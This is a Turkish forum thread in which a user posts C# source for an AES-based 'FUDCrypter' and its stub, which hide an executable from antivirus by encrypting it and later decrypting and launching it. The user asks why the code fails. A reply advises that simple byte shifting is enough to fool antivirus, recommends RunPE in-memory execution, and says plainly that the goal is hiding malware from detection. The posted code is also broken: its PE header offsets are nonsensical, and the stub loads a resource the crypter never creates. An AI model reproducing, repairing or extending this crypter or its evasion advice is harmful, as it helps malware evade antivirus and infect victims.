C# Form Crypter yazarken neden hata veriyor?

Mirza1

Hectopat
Katılım
10 Kasım 2021
Mesajlar
118
Merhaba, AES şifreleme ile bir crypter denemesi yaptım fakat bir yerde hata yapıyorum ama nerede yaptığımı bulamadım cryptlanan exe çalışmıyor.

Crypter:
C#:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace FUDCrypter
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        static void EncryptFile(string inputPath, string outputPath, string key, string iv)
        {
            byte[] bytes = File.ReadAllBytes(inputPath);
            byte[] keyBytes = Encoding.ASCII.GetBytes(key);
            byte[] ivBytes = Encoding.ASCII.GetBytes(iv);

            using (Aes aes = Aes.Create())
            {
                aes.Key = keyBytes;
                aes.IV = ivBytes;

                using (ICryptoTransform encryptor = aes.CreateEncryptor())
                {
                    using (MemoryStream ms = new MemoryStream())
                    {
                        using (CryptoStream cs = new CryptoStream(ms, encryptor, CryptoStreamMode.Write))
                        {
                            cs.Write(bytes, 0, bytes.Length);
                        }
                        byte[] encryptedBytes = ms.ToArray();
                        File.WriteAllBytes(outputPath, encryptedBytes);
                    }
                }
            }
        }

        static void AddResource(string stubPath, string outputPath)
        {
            byte[] stubBytes = File.ReadAllBytes(stubPath);
            byte[] cryptBytes = File.ReadAllBytes(outputPath);

            using (FileStream fs = new FileStream(stubPath, FileMode.Append))
            {
                fs.Write(cryptBytes, 0, cryptBytes.Length);
            }

            using (BinaryReader br = new BinaryReader(File.Open(stubPath, FileMode.Open)))
            {
                br.BaseStream.Seek(0x3c, SeekOrigin.Begin);
                int peOffset = br.ReadInt32();
                br.BaseStream.Seek(peOffset + 0x6c + 0x8c + 0x8 + 0x10 + 0x10 + 0x10 + 0x10 + 0x4 + 0x4 + 0x4 + 0x4 + 0x4 + 0x4 + 0x4 + 0x4 + 0x4 + 0x4 + 0x4 + 0x4, SeekOrigin.Begin);
                int resourceSize = br.ReadInt32();

                using (BinaryWriter bw = new BinaryWriter(br.BaseStream))
                {
                    int newResourceSize = resourceSize + cryptBytes.Length + 40;
                    bw.Seek(-4, SeekOrigin.Current);
                    bw.Write(newResourceSize);

                    bw.Seek(0, SeekOrigin.End);

                    bw.Write((byte)1);
                    bw.Write(Encoding.ASCII.GetBytes("test_crypt.exe"));
                    bw.Write((ushort)0);

                    bw.Write((ushort)0x10);
                    bw.Write((ushort)0);

                    bw.Write((ushort)0);
                    bw.Write((uint)0);

                    bw.Write((uint)0);
                    bw.Write((uint)10);

                    bw.Write((uint)0);
                    bw.Write((uint)10);

                    bw.Write((uint)0);
                    bw.Write((uint)0);

                    bw.Write(cryptBytes.Length);
                    bw.Write((uint)(bw.BaseStream.Length + 4));
                }
            }
        }

        private void button1_Click(object sender, EventArgs e)
        {
            string inputPath = @"C:\Users\x\Loader.exe";
            string outputPath = @"C:\Users\x\test_crypt.exe";
            string stubPath = @"C:\Users\x\source\repos\Stub\Stub\bin\Debug\Stub.exe";
            string key = "1234567890abcdef";
            string iv = "fedcba0987654321";

            EncryptFile(inputPath, outputPath, key, iv);
            AddResource(stubPath, outputPath);
        }
    }
}


STUB:
C#:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace Stub
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            string key = "1234567890abcdef";
            string iv = "fedcba0987654321";
            RunFile(key, iv);
        }

        static void RunFile(string key, string iv)
        {
            byte[] encryptedBytes = GetResource();
            byte[] keyBytes = Encoding.ASCII.GetBytes(key);
            byte[] ivBytes = Encoding.ASCII.GetBytes(iv);

            using (Aes aes = Aes.Create())
            {
                aes.Key = keyBytes;
                aes.IV = ivBytes;

                using (ICryptoTransform decryptor = aes.CreateDecryptor())
                {
                    using (MemoryStream ms = new MemoryStream(encryptedBytes))
                    {
                        using (CryptoStream cs = new CryptoStream(ms, decryptor, CryptoStreamMode.Read))
                        {
                            using (MemoryStream decryptedMs = new MemoryStream())
                            {
                                cs.CopyTo(decryptedMs);
                                byte[] decryptedBytes = decryptedMs.ToArray();
                                string decryptedFilePath = Path.GetTempFileName();
                                File.WriteAllBytes(decryptedFilePath, decryptedBytes);
                                System.Diagnostics.Process.Start(decryptedFilePath);
                            }
                        }
                    }
                }
            }
        }

        static byte[] GetResource()
        {
            string resourceName = "Stub.Hacking.test_crypt.exe";

            Stream stream = Assembly.GetExecutingAssembly().GetManifestResourceStream(resourceName);

            byte[] bytes = new byte[stream.Length];
            stream.Read(bytes, 0, bytes.Length);

            return bytes;
        }
    }
}

Cryptlanan exeyi çalıştırınca "BU UYGULAMA CİHAZINIZDA ÇALIŞMIYOR" şeklinde devasa mavi bir hata yazısı yazıyor.
 
Byte şifrelemek için yüksek seviye bir şifreleme metodu kullanmana gerek yok, antivirüsler oturup string decrypt etmiyorlar, basit byte ötelemeyle byteleri şifreleyebilirsin sezar metodu gibi... Normalde Crypter byte kodu doğrudan belleğe yazar ve bellek üzerinde yürütür ancak sen tekrar diske yazıyorsun, bu mantıksız bir davranış. Run PE araştır.
 
Byte şifrelemek için yüksek seviye bir şifreleme metodu kullanmana gerek yok, antivirüsler oturup string decrypt etmiyorlar, basit byte ötelemeyle byteleri şifreleyebilirsin sezar metodu gibi... Normalde Crypter byte kodu doğrudan belleğe yazar ve bellek üzerinde yürütür ancak sen tekrar diske yazıyorsun, bu mantıksız bir davranış. Run pe araştır.

Bellek üzerinden yürütür ise cihaz yeniden başlatılınca dosya silinmez mi?

Şu an sadce var olan programı çalıştırmaya çalışıyorum eğer bunu yağpabilirsem run pe ye de bakarım.
 
Cihaz yeniden başlayınca stub.exe yeniden başlatılacak o da senin byte kodu belleğe tekrar enjekte edip yürütecek. Zararlı yazılımı antivirüs fark etmesin diye şifreliyorsun, şifresini çözüp diske kaydedince ne olmasını bekliyorsun? Hey merhaba, ben buradayım! Diyecek.
 
Anladım, ama sonuçta bu Crypterı ve stubu deneme amaçlı yaptım ve ilk denemem, senden rica etsem kodumdaki hatyı söyler misin? Bunu yapmak için gerçekten çok uğraştım ve düzgün çalışmıyor stubu çalıştırınca kaynak dosyayı bulamıyor.

Cihaz yeniden başlayınca stub.exe yeniden başlatılacak o da senin byte kodu belleğe tekrar enjekte edip yürütecek. Zararlı yazılımı antivirüs fark etmesin diye şifreliyorsun, şifresini çözüp diske kaydedince ne olmasını bekliyorsun? Hey merhaba, ben buradayım! Diyecek.
 

Technopat Haberler

Yeni konular

Geri
Yukarı